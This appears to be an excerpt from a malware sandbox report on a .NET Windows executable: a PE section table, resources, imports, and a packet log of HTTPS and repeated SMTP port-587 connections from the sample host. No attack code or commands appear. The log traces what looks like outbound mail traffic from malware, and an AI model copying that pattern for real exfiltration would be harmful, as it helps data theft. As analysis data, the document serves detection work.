Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xbdad4	0xbdc00	72cf1ef7b5237c66d8cbed6c8962ae87	False	0.8815129899538867	data	7.712111849426876	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc0000	0x1bb0	0x1c00	5e8ecb634f10cec6174664c312e93000	False	0.8684430803571429	data	7.3779338294066035	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc2000	0xc	0x200	7b7f28c871c987033b039edd355a293d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xc00e8	0x174e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9639624539054643
RT_GROUP_ICON	0xc1838	0x14	data	1.05
RT_VERSION	0xc184c	0x360	data	0.42476851851851855

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 09:57:57.998064041 CET	49709	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:57:57.998090029 CET	443	49709	104.26.13.205	192.168.2.8
Dec 6, 2024 09:57:57.998281956 CET	49709	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:57:58.007416010 CET	49709	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:57:58.007430077 CET	443	49709	104.26.13.205	192.168.2.8
Dec 6, 2024 09:57:59.229891062 CET	443	49709	104.26.13.205	192.168.2.8
Dec 6, 2024 09:57:59.229959011 CET	49709	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:57:59.267081976 CET	49709	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:57:59.267096043 CET	443	49709	104.26.13.205	192.168.2.8
Dec 6, 2024 09:57:59.267390013 CET	443	49709	104.26.13.205	192.168.2.8
Dec 6, 2024 09:57:59.309943914 CET	49709	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:57:59.450261116 CET	49709	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:57:59.491337061 CET	443	49709	104.26.13.205	192.168.2.8
Dec 6, 2024 09:57:59.779881001 CET	443	49709	104.26.13.205	192.168.2.8
Dec 6, 2024 09:57:59.779953957 CET	443	49709	104.26.13.205	192.168.2.8
Dec 6, 2024 09:57:59.779999018 CET	49709	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:57:59.786351919 CET	49709	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:58:00.872610092 CET	49711	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:00.992490053 CET	587	49711	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:00.992643118 CET	49711	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:02.258879900 CET	587	49711	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:02.259371996 CET	49711	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:02.381863117 CET	587	49711	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:02.704390049 CET	587	49711	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:02.704605103 CET	49711	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:02.824351072 CET	587	49711	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:03.148261070 CET	587	49711	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:03.185852051 CET	49713	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:58:03.185889959 CET	443	49713	104.26.13.205	192.168.2.8
Dec 6, 2024 09:58:03.186000109 CET	49713	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:58:03.192867041 CET	49713	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:58:03.192883015 CET	443	49713	104.26.13.205	192.168.2.8
Dec 6, 2024 09:58:03.325562954 CET	49711	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:03.726162910 CET	49711	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:04.410502911 CET	443	49713	104.26.13.205	192.168.2.8
Dec 6, 2024 09:58:04.410702944 CET	49713	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:58:04.414333105 CET	49713	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:58:04.414346933 CET	443	49713	104.26.13.205	192.168.2.8
Dec 6, 2024 09:58:04.426496029 CET	443	49713	104.26.13.205	192.168.2.8
Dec 6, 2024 09:58:04.513102055 CET	49713	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:58:05.343673944 CET	49713	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:58:05.387341022 CET	443	49713	104.26.13.205	192.168.2.8
Dec 6, 2024 09:58:05.674933910 CET	443	49713	104.26.13.205	192.168.2.8
Dec 6, 2024 09:58:05.675019979 CET	443	49713	104.26.13.205	192.168.2.8
Dec 6, 2024 09:58:05.675146103 CET	49713	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:58:05.677901983 CET	49713	443	192.168.2.8	104.26.13.205
Dec 6, 2024 09:58:06.189508915 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:06.309452057 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:06.310074091 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:07.788992882 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:07.851206064 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:07.971899986 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:08.292675972 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:08.292859077 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:08.412736893 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:08.735126019 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:08.735563993 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:08.855557919 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:09.178658962 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:09.178720951 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:09.178734064 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:09.178761005 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:09.178798914 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:09.178853035 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:09.197108030 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:09.316777945 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:09.638652086 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:09.644146919 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:09.764487028 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:10.088234901 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:10.104456902 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:10.224205971 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:10.546135902 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:10.591252089 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:10.736670017 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:10.856605053 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:11.203340054 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:11.203675985 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:11.323657036 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:11.658926964 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:11.659317970 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:11.779027939 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:12.214256048 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:12.214777946 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:12.334588051 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:12.657191992 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:12.657996893 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:12.658062935 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:12.658090115 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:12.658111095 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:58:12.777739048 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:12.777756929 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:12.777848959 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:12.777862072 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:13.850297928 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:58:13.903697014 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:28.850274086 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:28.850337982 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:39.343899012 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:39.344284058 CET	49714	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:39.345334053 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:39.464987993 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:39.465203047 CET	587	49714	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:39.465974092 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:39.466037035 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:40.752027035 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:40.754328012 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:40.874087095 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:41.197756052 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:41.197930098 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:41.317713976 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:41.641289949 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:41.641702890 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:41.761461973 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:42.086947918 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:42.086996078 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:42.087007999 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:42.087060928 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:42.087204933 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:42.090797901 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:42.210599899 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:42.534595013 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:42.536459923 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:42.656301022 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:42.979836941 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:42.980418921 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:43.100164890 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:43.423970938 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:43.424253941 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:43.544774055 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:43.892364979 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:43.900346041 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:43.982966900 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:44.020252943 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:44.074158907 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:44.103562117 CET	587	49717	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:44.103699923 CET	49717	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:44.193984985 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:44.194133043 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:45.472902060 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:45.473053932 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:45.592771053 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:45.910792112 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:45.914331913 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:46.034312010 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:46.352365971 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:46.352770090 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:46.472583055 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:46.792593956 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:46.792630911 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:46.792644978 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:46.792668104 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:46.792745113 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:46.792840958 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:46.798221111 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:46.918108940 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:47.236342907 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:47.238890886 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:47.358601093 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:47.676728010 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:47.677012920 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:47.796729088 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:48.114640951 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:48.115026951 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:48.236464977 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:48.579737902 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:48.579973936 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:48.699807882 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:49.032316923 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:49.032496929 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:49.152234077 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:49.580774069 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:49.580988884 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:49.701220989 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.019237995 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.035084009 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.035203934 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.035274029 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.035351038 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.036998034 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.154900074 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.154953003 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.154966116 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.155044079 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.155097961 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.156497955 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.156802893 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.156861067 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.156893015 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.156936884 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.157970905 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.158036947 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.158130884 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.158238888 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.159003973 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.159013987 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.159025908 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.159035921 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.159046888 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.159077883 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.159106970 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.159106970 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.274924994 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.276340008 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.276789904 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.276982069 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.277328968 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.277362108 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.277755976 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.277790070 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.277946949 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.277981043 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.278947115 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.278985023 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.279031992 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.279062986 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.279171944 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.279206991 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.279242039 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.279273033 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.279297113 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.279326916 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.280471087 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.320707083 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.322489977 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.396852970 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.396914005 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.397226095 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.397286892 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.397883892 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.397916079 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.398006916 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.398040056 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.398094893 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.398133039 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.398143053 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.398169041 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.398735046 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.398844957 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.398972988 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399040937 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399089098 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399118900 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399302006 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399322987 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399524927 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399550915 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399637938 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399646997 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399729967 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399739981 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.399780989 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.400232077 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.400262117 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.400356054 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.400367022 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.442342043 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.442394018 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.490355968 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.490578890 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.490578890 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 09:59:50.517414093 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517445087 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517462969 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517472029 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517518044 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517575026 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517664909 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517676115 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517838955 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517849922 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517924070 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.517932892 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.518042088 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.518117905 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.518166065 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.518177032 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.518269062 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.518279076 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.518361092 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.518387079 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.518428087 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.518436909 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:50.610958099 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:51.751527071 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 09:59:51.840976000 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:03.709134102 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:03.828828096 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:04.146894932 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:04.147274971 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:04.147336006 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:04.147380114 CET	49718	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:04.148413897 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:04.267139912 CET	587	49718	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:04.268205881 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:04.268269062 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:05.703500032 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:05.703707933 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:05.823350906 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:06.209274054 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:06.209403992 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:06.329404116 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:06.716888905 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:06.717456102 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:06.837232113 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:07.213450909 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:07.213515997 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:07.213527918 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:07.213567019 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:07.213650942 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:07.213650942 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:07.215341091 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:07.335128069 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:07.705070972 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:07.712220907 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:07.713742971 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:07.770688057 CET	49720	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:07.825145960 CET	587	49719	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:07.825265884 CET	49719	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:07.890485048 CET	587	49720	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:07.893510103 CET	49720	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:09.193243980 CET	587	49720	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:09.193545103 CET	49720	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:09.313271046 CET	587	49720	77.88.21.158	192.168.2.8
Dec 6, 2024 10:00:09.436146975 CET	49720	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:00:09.519733906 CET	49721	587	192.168.2.8	77.88.21.158
